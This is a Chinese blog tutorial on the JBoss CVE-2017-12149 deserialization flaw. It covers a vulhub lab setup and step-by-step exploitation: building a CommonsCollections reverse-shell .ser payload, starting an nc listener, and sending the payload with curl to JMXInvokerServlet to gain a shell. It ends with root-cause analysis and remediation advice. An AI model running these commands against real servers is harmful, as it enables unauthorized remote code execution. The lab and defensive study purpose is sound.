JBoss漏洞 - CVE-2017-12149

Jboss Application Server反序列化命令执行漏洞

漏洞简介

JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter
过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

影响范围

JBoss 5.x - 6.x

靶场环境搭建

docker搭建使用vulhub靶场

cd /vulhub/jboss/CVE-2017-7504

docker-compose up -d

docker ps

访问地址,搭建成功

漏洞发现

访问 http://ip:port/invoker/readonly ,若返回如下显示状态码为500的报错界面,则证明漏洞存在

漏洞利用

这里需要用到 javac 进行编译 ser 文件,所以要有 java 环境,最好是Java 1.8 版本

攻击机检查JAVA环境

java -version

javac -version

下载利用反序列化工具 CVE-2015-7501

https://github.com/ianxtianxt/CVE-2015-7501

这里使用的反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501/7504 漏洞都可以进行利用,总体上都是利用java的反序列化。

进行漏洞测试

下载解压缩进入工具目录,使用 java 编译 ser 文件,这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser 文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
ip:port
(IP是攻击机ip,port是要监听的端口)

使用 nc 监听端口

nc -lvvp 4444

curl 请求反弹建立连接

curl http://192.168.88.130:8080/invoker/JMXInvokerServlet --data-binary
@ReverseShellCommonsCollectionsHashMap.ser

打开监听端口命令行,得到目标权限

### 关于 JBoss CVE-2017-12149 漏洞的修复方案及影响分析 #### 一、漏洞概述 JBoss 的 HttpInvoker 组件中的 `ReadOnlyAccessFilter` 过滤器存在反序列化漏洞,具体表现为在未进行任何安全检查的情况下尝试将来自客户端的序列化数据流反序列化。这使得攻击者能够通过发送精心构造的恶意序列化数据来触发远程代码执行 (RCE),从而获取目标服务器的完全控制权[^1]。 受影响的主要版本包括但不限于: - **Jboss AS 5.x** - **Jboss AS 6.x** 值得注意的是,虽然最初认为仅限于上述版本受到影响,但后续研究表明 JBossAS 6.x 同样可能受到此漏洞的影响。 --- #### 二、漏洞成因分析 该漏洞的根本原因在于 `doFilter` 方法的设计缺陷——它直接调用了 Java 的 `ObjectInputStream.readObject()` 函数处理未经验证的数据输入。由于 Java 序列化的特性允许自定义类加载逻辑,在这种情况下,如果传入的对象被篡改,则可能导致任意代码被执行。 以下是简化版的核心代码片段展示问题所在: ```java public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject(); // 高危操作:无校验地读取并解析对象 } ``` 从以上代码可以看出,开发者并未对接收到的内容实施必要的白名单过滤或其他形式的安全防护措施,因此容易成为攻击者的突破口。 --- #### 三、修复方案 针对这一高风险漏洞,官方推荐采取以下几种方式之一完成修补工作: 1. **升级到最新稳定版本** 建议尽快迁移至不受影响的新版本软件环境,例如 JBoss EAP 或 WildFly 平台下的对应更新迭代产品(如 JBossAS 7)。这些新版本已经移除了旧有的不安全实现路径,并引入更多现代化的安全机制加以保护。 2. **禁用不必要的服务模块** 如果短期内无法完成全面升级计划,可以考虑临时关闭与业务无关的功能单元,特别是涉及 RMI 和 HTTP Invoker 功能的部分。这样可以在一定程度上减少暴露面,降低遭受攻击的可能性[^2]。 3. **应用补丁程序** 对现有部署环境中存在的脆弱点单独打上针对性强的小型修正包也是可行的选择之一。不过需要注意的是,这种方法通常只适用于特定场景下短期过渡阶段使用,长期来看仍需依赖完整的架构改造才能彻底消除隐患。 4. **配置防火墙规则限制外部连接请求** 结合网络层面的技术手段进一步缩小潜在威胁范围也是一种有效的辅助策略。比如设置严格的 ACL 列表限定哪些 IP 地址允许访问敏感接口端口等资源;或者启用 WAF 设备拦截可疑流量行为模式等等。 --- #### 四、预防建议 为了防止未来再次发生类似的严重事件,企业应当建立完善的开发流程管理制度以及定期开展安全性评估活动。其中包括但不限于以下几个方面要点提示: - 加强内部培训教育力度提高全员信息安全意识水平; - 推广采用更加健壮可靠的替代技术框架代替传统易受攻击的语言特性; - 实施持续集成测试自动化工具链检测隐藏 bug 提前预警异常状况; - 定期审查第三方库文件清单确保所使用的组件均处于良好维护状态之中。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值